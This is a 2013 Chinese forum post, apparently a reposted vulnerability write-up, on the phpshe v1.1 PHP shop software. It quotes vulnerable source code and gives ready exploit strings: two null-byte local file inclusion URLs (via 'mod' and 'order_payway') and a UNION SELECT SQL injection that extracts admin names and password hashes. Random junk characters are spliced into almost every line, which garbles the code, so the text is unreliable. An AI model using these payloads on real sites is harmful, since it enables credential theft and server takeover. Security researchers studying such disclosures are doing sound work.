找回密码
 立即注册
查看: 2953|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
, V2 }  F4 N/ ]: ]1 o/* Phpshe v1.1 Vulnerability
( [7 _: f+ @( O8 @2 |8 ?! M( e. n3 v! s/* ========================: D4 z+ D  b/ x) D5 [
/* By: : Kn1f3
; O+ e& l4 W& }6 P) ]0 q/* E-Mail : 681796@qq.com9 k1 _- d, \) a3 Q* V
/*******************************************************/& e# p, l) t! i4 R
0×00 整体大概参数传输
. S# T- @- J& S, q 7 ~9 ]4 I! K; P% [8 z
$ s( P. O/ `6 @/ u
3 u- s4 a' p- J, `$ |. `
//common.php, X8 y: g( o9 M  I0 O" `& W* i! Y
if (get_magic_quotes_gpc()) {+ T# m2 d, D2 ^. G
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
$ I& h& p7 D2 [' c!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');, y* e3 p0 E9 L% l: O
}) X3 ]6 p2 O1 B2 z8 F
else {
) ?2 h0 a- Q$ i: J# ?!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');6 W1 ]0 b0 P' w# ?4 O  ?: X! P; l
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');7 y7 k( h! ?) {, M% c' e
}
8 b/ y. P& s2 w! {1 |8 dsession_start();
" p9 ?% D) l- a/ q: p% s/ r& i6 w& Q!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
- n. b1 a6 }$ e' A& O# @9 @0 V!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
. C1 e: c4 E; K* P' D
5 @& `- @& x; p* q9 d" J0×01 包含漏洞
) z: E0 d+ [" |0 P: ? 0 c# `# L& q* j$ Z
/ ?: ]- I1 o1 b/ C4 S
//首页文件5 @2 q+ ]! D9 b9 n5 d$ ^
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);8 z/ S# @+ j: Z4 ^$ ^  E6 \2 a: D2 z
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞3 L' r. l& Y7 L
pe_result();
9 U0 V9 C. r5 R5 u; y) f: U7 ~?>
4 m, b& P5 G/ T//common 文件 第15行开始
+ C' H/ t4 U/ m+ o# h7 L9 Q6 aurl路由配置
5 Z& d0 U0 t7 X$ g9 c" B$module = $mod = $act = 'index';
) n  b' o2 R" Y- m5 X: L$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
+ J5 }; x8 k% T# z  _/ `$ s0 I0 G$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
1 y& |) l& }+ y2 E# @0 M$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
! m- q$ m; c' e  M//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00& \5 h) ^7 E4 }9 a


9 n# n* r% `3 L, h9 B% ^9 O , {. v$ W1 A0 ~# m
0×02 搜索注入! x: N% n. x, r$ P- E  ~( A
2 j1 E: p2 p6 ~6 n
<code id="code2">

//product.php文件9 X3 h8 |% Y) |% Q, l
case 'list':
* q2 E' P8 [8 h" F1 T4 B& {/ B) H$category_id = intval($id);
. h0 l0 @+ j5 k8 U$info = $db->pe_select('category', array('category_id'=>$category_id));: Q, B" {* }* Z1 @4 L
//搜索
1 G9 d- i: S, n$ M" s( {$sqlwhere = " and `product_state` = 1";
9 k8 L1 l) c1 kpe_lead('hook/category.hook.php');
8 ]8 z3 X; Z5 a. j+ `1 d( o/ }if ($category_id) {* `  b! ~7 `# S2 Q5 y: b8 p3 K
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
0 g  E& R& Z2 m}- P+ {4 H: r+ i
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
/ b# H$ s0 P9 R+ u1 \( x- qif ($_g_orderby) {
8 l" y% |+ P4 d7 j1 n$orderby = explode('_', $_g_orderby);
! w* q! B4 d4 Z7 w* ~, U& F$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
4 E: W, K- T/ S}
$ }, a) U+ b" ?+ ^& r3 Relse {
8 c) K$ w6 |; T) k! f$sqlwhere .= " order by `product_id` desc";9 y6 c! }# v7 C
}- L  C  i( r( B+ u0 w* x4 w
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));$ c% r- R, T, L4 c6 n
//热卖排行
& e6 u4 p  T' z& f( [/ }7 m* Z5 e$product_hotlist = product_hotlist();
- {7 V% K* Y  y, Q/ i//当前路径3 T/ Z& R! Y" E2 y5 R: O
$nowpath = category_path($category_id);8 J4 w' r2 h! W: t' ~1 U# g( \, V
$seo = pe_seo($info['category_name']);
' {) F2 m3 K$ I, Oinclude(pe_tpl('product_list.html'));* \2 `  L+ q9 Q) D; }! S
//跟进selectall函数库
3 D: e, M  F. }public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
: t) H: F* T7 D& s- B$ E* L{3 U# F' U2 W% D  N
//处理条件语句5 K0 s0 s& N7 M4 q' }' J) B
$sqlwhere = $this->_dowhere($where);
* x0 E1 X- z* p: e# |9 Y0 \/ \return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
4 D# K6 D5 c1 {, D% H7 l5 G& \}1 P' q) i+ s7 [& h
//exp
" J( Y; E/ w  F  |& jproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
( w9 M+ Q" c: ~

</code>
6 u5 `" Z8 s7 P5 E3 W / V& f8 R7 e; u) ^2 f7 H" L
0×03 包含漏洞2; S' B- H. @6 J9 I* @
$ r  T3 D, Y* w4 d
<code id="code3">

//order.php

case 'pay':


3 y2 b' [0 u. Q/ s5 K" D$order_id = pe_dbhold($_g_id);

' w7 o0 M) S& v3 p# ]$ Q8 S
$cache_payway = cache::get('payway');


' c  e3 z3 m; A5 @! [foreach($cache_payway as $k => $v) {


' ]* Z/ T5 {4 n) h$ O+ ?) {' \  ~$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

) P6 F1 i. ?2 \4 l4 g+ A
if ($k == 'bank') {


. h$ C4 Y) J1 V4 H; P1 g$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

. G$ j, @8 r9 W6 Z, c2 R
}


8 G; L% E! D1 j( z5 ~$ T}

9 s6 x0 r! N6 N
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

: [9 w: b" ?' t1 M# R% {/ H
!$order['order_id'] && pe_error('订单号错误...');

: @% p1 x0 S1 c' n( u+ F
if (isset($_p_pesubmit)) {

; A& e- u% L+ g0 W, O5 m5 {1 |
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

+ g) `! w1 L  M
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


! \! s  k, H2 z. Iforeach ($info_list as $v) {


! F$ ~9 E: N9 `$order['order_name'] .= "{$v['product_name']};";
$ _* P2 S. E5 f! {" B# R7 e

4 X$ p& s4 ^$ J8 W  V5 T3 f
}

8 n) h$ g, j1 s1 {9 t; r  w8 C
echo '正在为您连接支付网站,请稍后...';


6 L1 G& ~8 d+ e, V5 \include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

' ~: |' T+ I) Q% N
}//当一切准备好的时候就可以进行"鸡肋包含了"


1 \9 L% g6 Y: U. ?else {

% Z2 m% O0 O2 g% N; l4 k. o* B8 t; Q
pe_error('支付错误...');


& T. ]( \, P; r( v; r}

' h: H5 I: v* D! k
}

* H" o' R8 q2 a0 ?4 u* M2 f3 \0 a
$seo = pe_seo('选择支付方式');


) E; x/ d! q; e: q, dinclude(pe_tpl('order_pay.html'));


7 s8 J& f' R7 x) Ebreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>' l) c! a; J, f$ z5 g
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表